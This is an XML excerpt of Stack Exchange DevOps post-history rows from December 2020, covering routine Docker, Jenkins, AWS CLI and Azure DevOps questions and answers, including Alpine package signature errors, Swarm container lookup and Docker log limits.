  <row Id="39798" PostHistoryTypeId="2" PostId="12966" RevisionGUID="58e96fdd-d3d6-4ba3-ace4-c6cc853a1a0d" CreationDate="2020-12-12T07:21:06.980" UserId="25122" Text="I am trying to build a Docker image based on the [Evennia][1] image, which has an Alpine base. However, I need to install postgresql-dev so that my image can interact with a Postgres container. I am running Docker for Windows, with the containers being built on WSL 2.&#xD;&#xA;&#xD;&#xA;However, the build seems to be failing *randomly*. My Dockerfile is as follows:&#xD;&#xA;&#xD;&#xA;    FROM evennia/evennia:latest&#xD;&#xA;    &#xD;&#xA;    USER root&#xD;&#xA;    &#xD;&#xA;    RUN apk add postgresql-dev&#xD;&#xA;    &#xD;&#xA;    RUN pip install psycopg2&#xD;&#xA;    &#xD;&#xA;    ENTRYPOINT [&quot;/usr/src/evennia/bin/unix/evennia-docker-start.sh&quot;]&#xD;&#xA;&#xD;&#xA;I get different results whenever I try to build this Dockerfile. About 5-10% of the time, the build succeeds *with no changes made to the files being copied in **or** the Dockerfile itself*. I have a successful push as of this morning after it failed repeatedly last night.&#xD;&#xA;&#xD;&#xA;The errors seem to occur with the APK ADD statements, with many errors saying 'BAD signature' and occasionally 'IO ERROR'. I have attached the errors from the latest run.&#xD;&#xA;&#xD;&#xA;    #7 82.68 ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.12/community: BAD signature&#xD;&#xA;    #7 82.78 (1/13) Installing llvm10-libs (10.0.0-r2)&#xD;&#xA;    #7 93.24 (2/13) Installing clang-libs (10.0.0-r2)&#xD;&#xA;    #7 105.1 (3/13) Installing clang (10.0.0-r2)&#xD;&#xA;    #7 108.7 (4/13) Installing llvm10 (10.0.0-r2)&#xD;&#xA;    #7 138.8 (5/13) Installing icu-libs (67.1-r0)&#xD;&#xA;    #7 138.8 ERROR: llvm10-10.0.0-r2: BAD signature&#xD;&#xA;    #7 144.3 (6/13) Installing icu (67.1-r0)&#xD;&#xA;    #7 144.4 (7/13) Installing icu-dev (67.1-r0)&#xD;&#xA;    #7 233.1 ERROR: Failed to create usr/include/unicode/localematcher.h: No error information&#xD;&#xA;    #7 233.1 ERROR: icu-dev-67.1-r0: BAD signature&#xD;&#xA;    #7 233.1 (8/13) Installing db (5.3.28-r1)&#xD;&#xA;    #7 343.3 ERROR: Failed to create usr/lib/libdb-5.3.so: No error information&#xD;&#xA;    #7 343.3 ERROR: db-5.3.28-r1: BAD signature&#xD;&#xA;    #7 343.3 (9/13) Installing libsasl (2.1.27-r6)&#xD;&#xA;    #7 364.6 ERROR: libsasl-2.1.27-r6: IO ERROR&#xD;&#xA;    #7 364.6 (10/13) Installing libldap (2.4.50-r0)&#xD;&#xA;    #7 364.7 (11/13) Installing libpq (12.5-r0)&#xD;&#xA;    #7 364.8 (12/13) Installing postgresql-libs (12.5-r0)&#xD;&#xA;    #7 365.0 (13/13) Installing postgresql-dev (12.5-r0)&#xD;&#xA;    #7 386.1 ERROR: Failed to create usr/bin/ecpg: No error information&#xD;&#xA;    #7 386.1 ERROR: postgresql-dev-12.5-r0: BAD signature&#xD;&#xA;    #7 386.1 Executing busybox-1.31.1-r19.trigger&#xD;&#xA;    #7 386.1 5 errors; 343 MiB in 70 packages&#xD;&#xA;    ------&#xD;&#xA;    failed to solve with frontend dockerfile.v0: failed to build LLB: executor failed running [/bin/sh -c apk add postgresql-dev]: runc did not terminate sucessfully&#xD;&#xA;&#xD;&#xA;Is this some issue with Docker itself or whatever server delivers postgres-dev? I have found some [similar][2] issues, but they are all several years old - and I can not imagine what mistake I am making that causes the build to work rarely.&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;I managed to get the above Dockerfile to build without changing anything, so I am guessing it is *not* an issue with my Dockerfile. Still, if anyone has any idea why this is happening, it would be good to know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/evennia/evennia/&#xD;&#xA;  [2]: https://github.com/gliderlabs/docker-alpine/issues/410" ContentLicense="CC BY-SA 4.0" />
  <row Id="39799" PostHistoryTypeId="1" PostId="12966" RevisionGUID="58e96fdd-d3d6-4ba3-ace4-c6cc853a1a0d" CreationDate="2020-12-12T07:21:06.980" UserId="25122" Text="Why are my Alpine Docker images failing to build with postgresql-dev randomly with 'BAD signature' warnings?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39800" PostHistoryTypeId="3" PostId="12966" RevisionGUID="58e96fdd-d3d6-4ba3-ace4-c6cc853a1a0d" CreationDate="2020-12-12T07:21:06.980" UserId="25122" Text="&lt;docker&gt;&lt;postgresql&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39801" PostHistoryTypeId="5" PostId="12777" RevisionGUID="a7aaef28-6b6e-4c2c-845f-9ecf0692d3dd" CreationDate="2020-12-12T14:21:06.110" UserId="24284" Comment="Fixed formatting" Text="I have just upgraded the jenkins version&#xD;&#xA;and wrote my first Jenkins declarative plugin.&#xD;&#xA;Following is the pipeline definition&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages{&#xD;&#xA;        stage('Welcome'){&#xD;&#xA;            steps{&#xD;&#xA;                sh '''&#xD;&#xA;                echo &quot;Hello&quot;&#xD;&#xA;                '''&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;On building the job, it is generating the following error:&#xD;&#xA;&#xD;&#xA;    java.lang.ClassCastException: org.jenkinsci.plugins.workflow.job.WorkflowRun cannot be cast to hudson.model.AbstractBuild&#xD;&#xA;	at hudson.plugins.zentimestamp.ZenTimestampEnvironmentContributor.buildEnvironmentFor(ZenTimestampEnvironmentContributor.java:23)&#xD;&#xA;&#xD;&#xA;Can anyone provide me with a solution ?&#xD;&#xA;I understand that it may be a very noob question to ask but I am stuck on this for hours.&#xD;&#xA;&#xD;&#xA;Is it a versioning issue? ZenTimestamp is a project which is up for adoption. Is this a bug related to it ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39802" PostHistoryTypeId="24" PostId="12777" RevisionGUID="a7aaef28-6b6e-4c2c-845f-9ecf0692d3dd" CreationDate="2020-12-12T14:21:06.110" Comment="Proposed by 24284 approved by 40 edit id of 1303" ContentLicense="CC BY-SA 4.0" />
  <row Id="39803" PostHistoryTypeId="5" PostId="10896" RevisionGUID="40db72f5-8ebf-4c49-80dc-93df101cb7a1" CreationDate="2020-12-12T14:21:11.890" UserId="25095" Comment="Remove thanks" Text="I recently installed Docker in Ubuntu 18.04 and with that, I have downloaded the **mariadb** image like this &#xD;&#xA;&#xD;&#xA;    docker run --name mariadb \&#xD;&#xA;    -p 3306:3306 \&#xD;&#xA;    -v /opt/mariadb_data:/var/lib/mysql \&#xD;&#xA;    -e MYSQL_ROOT_PASSWORD=lopaz \&#xD;&#xA;    --restart always \&#xD;&#xA;    -d mariadb:10.1&#xD;&#xA;&#xD;&#xA;this is pretty cool method that I used to download from the official **mariadb** image and it's working well. What my question is that I want to use to login to the MariaDB ? when I type&#xD;&#xA;&#xD;&#xA;`mysql -h &lt;myhost&gt; -u root -p`&#xD;&#xA;&#xD;&#xA;MySQL or MariaDB not found on my local Ubuntu machine. What happened ? how my pc knows that I installed **mariadb** using docker? then I installed **mysql client app** then only I can use `mysql` commands on my local pc! please give me a clarification about why it happens when install using docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39804" PostHistoryTypeId="24" PostId="10896" RevisionGUID="40db72f5-8ebf-4c49-80dc-93df101cb7a1" CreationDate="2020-12-12T14:21:11.890" Comment="Proposed by 25095 approved by 40 edit id of 1302" ContentLicense="CC BY-SA 4.0" />
  <row Id="39807" PostHistoryTypeId="2" PostId="12968" RevisionGUID="28789446-6f48-4035-bd6e-511166b38daa" CreationDate="2020-12-12T23:04:12.223" UserId="6162" Text="## Multiple apps on the same server&#xD;&#xA;&#xD;&#xA;&gt;But what if I have a Node.js server application? I could run multiple of those on the same machine without any kind of virtualization.&#xD;&#xA;&#xD;&#xA;Yes, you can run multiple apps or multiple instances of the same app on a server. The problem is that these apps will _interfere_. &#xD;&#xA;&#xD;&#xA;Some examples of resources, that might interfere:&#xD;&#xA;* They would all like to listen to the same **port** e.g. 8080. &#xD;&#xA;* If they need more **memory**, they will eventually fight about the same memory.&#xD;&#xA;* If the apps is busy, they will fight about the same CPU resource.&#xD;&#xA;* They all would like to write logs to the same files on the file system.&#xD;&#xA;* They all might want to save data to the same place on the file system.&#xD;&#xA;&#xD;&#xA;This needs to be managed in some way, and we don't want to do it manually.&#xD;&#xA;&#xD;&#xA;With Virtual Machines on the same server, or Containers on the same server, each instance get its own IP-address, each instance can listen to what port it wants, e.g. all can listen to 8080. You can bound how much memory an instance has, e.g. 1GB - so if an app leaks memory, it does not affect the others. You can also bound how much CPU each instance can use, so they only use their fair share. Each instance has its own view of the filesystem, so all instances can write to the same path (as they see it) - even though it is technically different places.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Multiple instances - Availability&#xD;&#xA;&#xD;&#xA;&gt;Why is even running multiple instances necessary?&#xD;&#xA;&#xD;&#xA;What would you do when you need to patch the server and need to restart it? How will you upgrade your app to a new version? What happens if the hardware on your server crash? What happens when your single instance can not handle all the traffic?&#xD;&#xA;&#xD;&#xA;The answer to all those questions, typically is: run more than one instance of your app, and let a load balancer forward the traffic to your instances that are alive.&#xD;&#xA;&#xD;&#xA;## Why virtualization?&#xD;&#xA;&#xD;&#xA;&gt;Why were virtual machines needed?&#xD;&#xA;&#xD;&#xA;They are not really needed. This is more about economics, a way to use your expensive hardware more efficiently.&#xD;&#xA;&#xD;&#xA;If you start a new project, but a server - the server is very powerful and expensive. If you only start a Node.js app on this server, it will probably take long time before this Node.js app is so popular that it need to use the full server. It would be better if you could rent only a small part of the server in the beginning - that is how the Cloud with AWS and Google Cloud Platform works." ContentLicense="CC BY-SA 4.0" />
  <row Id="39809" PostHistoryTypeId="2" PostId="12969" RevisionGUID="2b63386d-3729-4884-aaf9-84d018936ec1" CreationDate="2020-12-13T07:52:20.943" UserId="8727" Text="Yes, docker containers when they are running can take up some space as per your workload and application but as mentioned in the other answers - containers are built over layered filesystem therefore only extra space they consume is from some file/object they create/download during runtime which is not the part of base image like some debug log files, etc.&#xD;&#xA;&#xD;&#xA;For ex. - When you run 100 container of base image of size 1GB, docker will not consume 100 GB of disk space as it leverages layered filesystem and top immutable layer is shared across all containers of same image.&#xD;&#xA;&#xD;&#xA;When you stop and remove (yes!, remove explicitly or use `--rm` flag with `docker run` command) a container then it's space is reclaimed.&#xD;&#xA;&#xD;&#xA;To check space used by containers (and other objects), you can use:&#xD;&#xA;&#xD;&#xA;`$ docker system df`" ContentLicense="CC BY-SA 4.0" />
  <row Id="39810" PostHistoryTypeId="2" PostId="12970" RevisionGUID="213cdb81-0ddc-46a0-94be-82f6c41bc586" CreationDate="2020-12-13T09:23:25.853" UserId="8727" Text="One way to limit docker logs is to specify limits in docker daemon's config file.&#xD;&#xA;&#xD;&#xA;You can put this in `/etc/docker/daemon.json`&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;log-driver&quot;: &quot;json-file&quot;,&#xD;&#xA;  &quot;log-opts&quot;: {&#xD;&#xA;    &quot;max-size&quot;: &quot;10m&quot;,&#xD;&#xA;    &quot;max-file&quot;: &quot;3&quot; &#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;and then restart your docker daemon." ContentLicense="CC BY-SA 4.0" />
  <row Id="39811" PostHistoryTypeId="2" PostId="12971" RevisionGUID="ece8c5da-9297-4cdd-8387-de1829f74274" CreationDate="2020-12-13T09:28:35.600" UserId="8727" Text="As per my understanding on cloud native infra.&#xD;&#xA;&#xD;&#xA;Provisioning involves creating resources like VMs/instances, setting up IAM roles and policies, Firewalls, DBs, Load balancers, any clusters like EKS, GKE, etc.&#xD;&#xA;&#xD;&#xA;And, configuration part involves, setting up your instances to install necessary softwares and packages to actually run your applications on those instances, setting up tables in DBs and populating data, RBAC controls on resources, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="39812" PostHistoryTypeId="5" PostId="12956" RevisionGUID="adea68f6-a0f7-4d95-8137-1374a43ece6c" CreationDate="2020-12-13T13:59:07.223" UserId="13082" Comment="added 30 characters in body" Text="My Dockerfile contains this:&#xD;&#xA;&#xD;&#xA;    ### STAGE 1: Build Angular app ###&#xD;&#xA;    FROM node:14.15 AS build&#xD;&#xA;    WORKDIR /usr/src/app&#xD;&#xA;    COPY src/hub/package.json ./&#xD;&#xA;    RUN npm cache verify&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY src/hub/ .&#xD;&#xA;    RUN npm run-script build-azdev&#xD;&#xA;    RUN npm prune --production&#xD;&#xA;&#xD;&#xA;    ### STAGE 2: Run Angular app in nginx ###&#xD;&#xA;    FROM nginx:1.19-alpine&#xD;&#xA;    COPY /scripts/nginx/nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;    RUN rm -rf /usr/share/nginx/html/*&#xD;&#xA;    COPY --from=build /usr/src/app/dist/* /usr/share/nginx/html/&#xD;&#xA;    EXPOSE 80&#xD;&#xA;    CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]&#xD;&#xA;&#xD;&#xA;Once `COPY --from=build /usr/src/app/dist/* /usr/share/nginx/html/` is done, should the contents of WORKDIR (/usr/src/app) be deleted once Stage 2 is done building?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39813" PostHistoryTypeId="5" PostId="12969" RevisionGUID="24189e39-15cc-4cd5-8bcd-394bf543fada" CreationDate="2020-12-13T16:35:29.923" UserId="8727" Comment="added 3 characters in body" Text="Yes, docker containers when they are running can take up some space as per your workload and application but as mentioned in the other answers - containers are built over layered filesystem therefore only extra space they consume is from some file/object they create/download during runtime which is not the part of base image like some debug log files, etc.&#xD;&#xA;&#xD;&#xA;For ex. - When you run 100 containers of a base image of size 1GB, docker will not consume 100 GB of disk space as it leverages layered filesystem and top immutable layer is shared across all containers of same image.&#xD;&#xA;&#xD;&#xA;When you stop and remove (yes!, remove explicitly or use `--rm` flag with `docker run` command) a container then it's space is reclaimed.&#xD;&#xA;&#xD;&#xA;To check space used by containers (and other objects), you can use:&#xD;&#xA;&#xD;&#xA;`$ docker system df`" ContentLicense="CC BY-SA 4.0" />
  <row Id="39814" PostHistoryTypeId="5" PostId="12971" RevisionGUID="0c49c689-f63a-41cc-8b09-ec258b4adc64" CreationDate="2020-12-13T16:37:51.577" UserId="8727" Comment="deleted 25 characters in body" Text="As per my understanding on cloud native infra.&#xD;&#xA;&#xD;&#xA;Provisioning involves creating resources like VMs/instances, setting up IAM roles and policies, Firewalls, DBs, Load balancers, any clusters like EKS, GKE, etc.&#xD;&#xA;&#xD;&#xA;And, configuration part involves, preparing your instances to run actually your apps by installing necessary softwares and packages, setting up tables in DBs and populating data, RBAC controls on resources, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="39815" PostHistoryTypeId="50" PostId="12006" RevisionGUID="8b4ec15f-e512-4d33-aaac-43c54a393c41" CreationDate="2020-12-13T18:05:30.653" UserId="-1" />
  <row Id="39816" PostHistoryTypeId="50" PostId="12751" RevisionGUID="a1236a95-dad7-4055-a941-4919144bb183" CreationDate="2020-12-14T08:04:10.390" UserId="-1" />
  <row Id="39817" PostHistoryTypeId="5" PostId="12939" RevisionGUID="c372860d-d108-410f-a9f8-5a0ba94aa1cf" CreationDate="2020-12-14T10:00:43.937" UserId="8489" Comment="renaming to neutral example names and formatting" Text="Answering my own question &amp; accepting it because it works - this is the solution:&#xD;&#xA;&#xD;&#xA;**Step 1:**&#xD;&#xA;So I start by finding the Docker Service I recognise as my Drupal site &quot;that's the site&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    node1 $ docker service ls&#xD;&#xA;&#xD;&#xA;As before, shown in the question, the output of that command is:&#xD;&#xA;&#xD;&#xA;    ID                  NAME                       MODE                REPLICAS            IMAGE                      PORTS&#xD;&#xA;    sr2w12kl8bg1        site1_db                    replicated          1/1                 animage2/mariadb:latest        *:13306-&gt;3306/tcp&#xD;&#xA;    e083ij8abje1        site1_drupal                replicated          1/1                 animage2/drupal:d7             *:7150-&gt;80/tcp&#xD;&#xA;    sejb0f2mfo22        site1_drush                 replicated          0/1                 drush/drush:latest         &#xD;&#xA;    kbae02doa8rs        site1_haproxy               replicated          2/2                 haproxy:alpine             &#xD;&#xA;    khgmnu1566rb        site2_db                    replicated          1/1                 mariadb:latest             &#xD;&#xA;    notoc1fam1gk        site3_drupal                replicated          1/1                 animage1/drupal:d8             *:7160-&gt;80/tcp&#xD;&#xA;    0xtxx4jmmwa3        site4_db                    replicated          1/1                 mariadb:latest&#xD;&#xA;&#xD;&#xA;            &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I pick out the site `animage1/drupal:d8`, second from bottom in the list above and find the corresponding Service ID, `notoc1fam1gk`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 2:** &#xD;&#xA;&#xD;&#xA;I use this, Service ID, `notoc1fam1gk`, to list all the tasks for that Service, by doing this command&#xD;&#xA;&#xD;&#xA;    node1 $ docker service ps notoc1fam1gk&#xD;&#xA;&#xD;&#xA;The output of that command is:&#xD;&#xA;&#xD;&#xA;    ID                  NAME                 IMAGE                      NODE                DESIRED STATE       CURRENT STATE          ERROR               PORTS&#xD;&#xA;    yiofs723gc89        site3_drupal.1       animage1/drupal:d8         node2               Running             Running 6 days ago                         &#xD;&#xA;    pgdgf783ff9v         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 2 weeks ago                       &#xD;&#xA;    1gfdsgcb0p2q         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 2 weeks ago                       &#xD;&#xA;    175lfds2jbjy         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 2 weeks ago                       &#xD;&#xA;    qo312e143p1q         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 3 weeks ago    &#xD;&#xA;&#xD;&#xA;                   &#xD;&#xA;**Step 3:**&#xD;&#xA; &#xD;&#xA;Now for the crucial bit - I still don't have a Container ID to be able to ssh into.&#xD;&#xA;&#xD;&#xA;So This command will do it for me:&#xD;&#xA;&#xD;&#xA;    docker inspect -f &quot;{{.Status.ContainerStatus.ContainerID}}&quot; &lt;task_id&gt;&#xD;&#xA;&#xD;&#xA;( Credit: https://stackoverflow.com/a/42465558/227926 )&#xD;&#xA;&#xD;&#xA;In my example, this looks like:&#xD;&#xA;&#xD;&#xA;    node1 $ docker inspect -f &quot;{{.Status.ContainerStatus.ContainerID}}&quot; yiofs723gc89&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The output of the above command is just:&#xD;&#xA;&#xD;&#xA;    72d6a20c3d15dd9f0db4b1a60d93a91c0514946881f2dc00ca62d6a7a9ef1290&#xD;&#xA;&#xD;&#xA;This is the container ID in the format of the 64 character SHA-256 ID.&#xD;&#xA;&#xD;&#xA;But I'm familiar with the 12 character length Container IDs that docker ps shows.&#xD;&#xA;&#xD;&#xA;The explaination is that the 12 character Container ID is just a truncated version of the full length 64 character ID  - it takes the first 12 characters.&#xD;&#xA;&#xD;&#xA;So in my case, `72d6a20c3d15dd9f0db4b1a60d93a91c0514946881f2dc00ca62d6a7a9ef1290` will be `72d6a20c3d15` in the 12 character format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 4:**&#xD;&#xA;&#xD;&#xA;So now, when I docker ps on node1 to go looking for that container ID I can use the 12 character format for the ID, `72d6a20c3d15`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm on my Docker Swarm Node node1 and I do a docker ps:&#xD;&#xA;&#xD;&#xA;    node1 $ docker ps&#xD;&#xA;    CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS                    NAMES&#xD;&#xA;    d5d45a94d45e        haproxy:alpine         &quot;/docker-entrypoint.…&quot;   3 days ago          Up 3 days                                    db_proxy_haproxy.2.91aw0apofd3iw537d249pyi62&#xD;&#xA;    6a4676df2b3a        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2_db.1.xxizdccg9a2hgf83tcgg1tkaej&#xD;&#xA;    538172a86a57        site1/drupal:asite     &quot;docker-php-entrypoi…&quot;   3 days ago          Up 3 days           80/tcp                   site3.1.uofsfssl72aj867r0hfs86i7m24linae8&#xD;&#xA;    2d487ea3788e        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site4_db.1.3lnd0f9sl027f0skgza3kq373c0&#xD;&#xA;    d671069584d7        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site5.1.xoy0r6720362hlkhksu2qd&#xD;&#xA;    beb6bcb66f43        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2.1.kobk423624kljfs1uhpflfs3&#xD;&#xA;&#xD;&#xA;But `72d6a20c3d15` isn't in the list. Why is that? &#xD;&#xA;&#xD;&#xA;Well, in my case it is on the node2 of my Docker Swarm.  How do I know this?  &#xD;&#xA;&#xD;&#xA;I know because the earlier command `docker service ps` `notoc1fam1gk` listed the task as node2, so I know that this task's corresponding container will be on node2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 5:**&#xD;&#xA;&#xD;&#xA;So I connect to node2 where my container is located&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    node1$ ssh node2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then list the Docker Containers, by ID.  And I can see `72d6a20c3d15` in this list, bottom entry:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    node2$ docker ps&#xD;&#xA;    &#xD;&#xA;    CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    2e3bc7158d61        89up/drupal:unity          &quot;docker-php-entrypoi…&quot;   7 days ago          Up 7 days           80/tcp              someothersite_drupal.1.tg33od888aj6krqqhdx0tp8ta&#xD;&#xA;    53122123d035        haproxy:alpine             &quot;/docker-entrypoint.…&quot;   7 days ago          Up 7 days                               someothersite_haproxy.1.t1x7exq98huu8q3aaok57d22&#xD;&#xA;    9348345f84cb        haproxy:alpine             &quot;/docker-entrypoint.…&quot;   10 days ago         Up 10 days                              something-m_haproxy.2.02haarnwe1ssfo0x9rypx2yud&#xD;&#xA;    72d6a20c3d15        animage1/drupal:d8         &quot;docker-entrypoint.s…&quot;   2 weeks ago         Up 2 weeks          80/tcp              site3_drupal.1.5fqfizaxt0plh1tzt6caq0zon&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 6:**&#xD;&#xA;&#xD;&#xA;I can now ssh into that container:&#xD;&#xA;&#xD;&#xA;    node2$ docker exec -it 72d6a20c3d15 /bin/bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Triumph!&#xD;&#xA;&#xD;&#xA;(In your case, your Container ID may be on your node1, or whatever.  I've only added this extra step for node2 to illustrate the point that one should be aware of the node that the task (and corresponding container is running on))&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39824" PostHistoryTypeId="2" PostId="12973" RevisionGUID="f1ab6774-f5b4-4fbb-8d5c-437840d15913" CreationDate="2020-12-14T14:34:34.907" UserId="25151" Text="If I run the AWS CLI command for Compute Optimizer:&#xD;&#xA;&#xD;&#xA;     aws compute-optimizer get-ec2-instance-recommendations&#xD;&#xA;&#xD;&#xA;part of the json response body tells me that an EC2 instance is over-provisioned.&#xD;&#xA;&#xD;&#xA;    &quot;finding&quot;: &quot;OVER_PROVISIONED&quot;&#xD;&#xA;&#xD;&#xA;I would like to set up an alert that notifies me proactively as soon as Compute Optimizer detects an instance is under or over provisioned. However I am just unsure how to achieve this.&#xD;&#xA;I guess its not necessarily a Compute Optimizer-specific issue - any method to convert the response from an AWS CLI command into an alert should work.&#xD;&#xA;Any suggestions appreciated. Thanks," ContentLicense="CC BY-SA 4.0" />
  <row Id="39825" PostHistoryTypeId="1" PostId="12973" RevisionGUID="f1ab6774-f5b4-4fbb-8d5c-437840d15913" CreationDate="2020-12-14T14:34:34.907" UserId="25151" Text="Convert AWS CLI json response into an alert" ContentLicense="CC BY-SA 4.0" />
  <row Id="39826" PostHistoryTypeId="3" PostId="12973" RevisionGUID="f1ab6774-f5b4-4fbb-8d5c-437840d15913" CreationDate="2020-12-14T14:34:34.907" UserId="25151" Text="&lt;aws-cli&gt;&lt;json&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39827" PostHistoryTypeId="5" PostId="10778" RevisionGUID="0931f410-1042-44e2-ae53-5b06161b02de" CreationDate="2020-12-14T15:37:30.190" UserId="25095" Comment="Remove please help / thanks" Text="I would like to Dockerize my existing vuejs app for staging , production and I used multi staged approach to create my app container and I'm using Ubuntu 18.04 and this is my,&#xD;&#xA;&#xD;&#xA;### Dockerfile&#xD;&#xA;&#xD;&#xA;    # build stage&#xD;&#xA;    FROM node:lts-alpine as build-stage&#xD;&#xA;    &#xD;&#xA;    LABEL maintainer=&quot;servers@xpl.com&quot;&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package*.json ./&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . ./&#xD;&#xA;    &#xD;&#xA;    RUN npm run build&#xD;&#xA;    &#xD;&#xA;    # production stage&#xD;&#xA;    FROM nginx:stable-alpine&#xD;&#xA;    &#xD;&#xA;    LABEL maintainer=&quot;servers@xpl.com&quot;&#xD;&#xA;    &#xD;&#xA;    COPY --from=build-stage /app/dist/ /app/dist/&#xD;&#xA;    &#xD;&#xA;    COPY nginx/nginx.conf /etc/nginx/&#xD;&#xA;    &#xD;&#xA;    EXPOSE 80&#xD;&#xA;&#xD;&#xA;I don't want to create `docker-compose.yml` file to assign anything and my question would be like , Create `.env` file with hardcoded values.&#xD;&#xA;&#xD;&#xA;**i.e**&#xD;&#xA;&#xD;&#xA;    VUE_APP_API_ENDPOINT_DOMAIN=VUE_APP_API_ENDPOINT_DOMAIN&#xD;&#xA;&#xD;&#xA;  1 .When running npm run build it'll put VUE_APP_API_ENDPOINT_DOMAIN in the dest files.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; 2 .We need to know which file. Probably index.html I believe.&#xD;&#xA;&#xD;&#xA; 3 .We create entry-point.sh script will get all env variables starting with `VUE_APP_` and take it's value. And then using **`sed`** command we find and replace those hard coded variable placeholders in index.html.&#xD;&#xA;And finally start Nginx.&#xD;&#xA;&#xD;&#xA;**I was stuck on step 3.**" ContentLicense="CC BY-SA 4.0" />
  <row Id="39828" PostHistoryTypeId="24" PostId="10778" RevisionGUID="0931f410-1042-44e2-ae53-5b06161b02de" CreationDate="2020-12-14T15:37:30.190" Comment="Proposed by 25095 approved by 40 edit id of 1304" ContentLicense="CC BY-SA 4.0" />
  <row Id="39829" PostHistoryTypeId="2" PostId="12974" RevisionGUID="93d312db-ea54-422f-8047-e251b60ce8e1" CreationDate="2020-12-14T19:40:13.943" UserId="25158" Text="In **Azure** - **DevOps** - **Boards**...&#xD;&#xA;&#xD;&#xA;On the **Backlogs** board, you can set the priority order of **Epics**, **Features** and **User Stories** by simply dragging and dropping them into a desired position.  I need a way to similarly organize **Tasks** and **Bugs** within a **User Story**.&#xD;&#xA;&#xD;&#xA;On the **Backlogs** board, if you drag **Tasks** and **Bugs** to new positions within a **User Story**, the order is not preserved.&#xD;&#xA;&#xD;&#xA;On the **Sprints Backlog**, it is possible to reorder **Tasks** and **Bugs** but only for a single iteration.&#xD;&#xA;&#xD;&#xA;We have **User Stories** with **Tasks** and **Bugs** on different iterations (some are being pushed off until later), but I can't find a way to set the work order for the whole collection (as they appear in the **Backlogs** board).&#xD;&#xA;&#xD;&#xA;Is there a way to set the order of **Tasks** and **Bugs** across all iterations within a **User Story**?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39830" PostHistoryTypeId="1" PostId="12974" RevisionGUID="93d312db-ea54-422f-8047-e251b60ce8e1" CreationDate="2020-12-14T19:40:13.943" UserId="25158" Text="Sorting Tasks and Bugs in a User Story outside a specific itteration" ContentLicense="CC BY-SA 4.0" />
  <row Id="39831" PostHistoryTypeId="3" PostId="12974" RevisionGUID="93d312db-ea54-422f-8047-e251b60ce8e1" CreationDate="2020-12-14T19:40:13.943" UserId="25158" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39832" PostHistoryTypeId="5" PostId="12969" RevisionGUID="677e4ef8-3190-4d7a-8a42-709bd759a8cd" CreationDate="2020-12-15T04:30:21.850" UserId="8727" Comment="added 196 characters in body" Text="Yes, docker containers when they are running can take up some space as per your workload and application but as mentioned in the other answers - containers are built over layered filesystem therefore only extra space they consume is from some file/object they create/download during runtime which is not the part of base image like some debug log files, etc.&#xD;&#xA;&#xD;&#xA;For ex. - When you run 100 containers of a base image of size 1GB, docker will not consume 100 GB of disk space as it leverages layered filesystem and top immutable layer is shared across all containers of same image.&#xD;&#xA;&#xD;&#xA;When you stop and remove (yes!, remove explicitly or use `--rm` flag with `docker run` command) a container then it's space is reclaimed.&#xD;&#xA;&#xD;&#xA;To check space used by containers (and other objects), you can use:&#xD;&#xA;&#xD;&#xA;`$ docker system df` and for detailed info. use verbose flag `$ docker system df -v`&#xD;&#xA;&#xD;&#xA;Initially when you start a container the SIZE column will show 0B but as soon as you start writing to the disk SIZE will change." ContentLicense="CC BY-SA 4.0" />
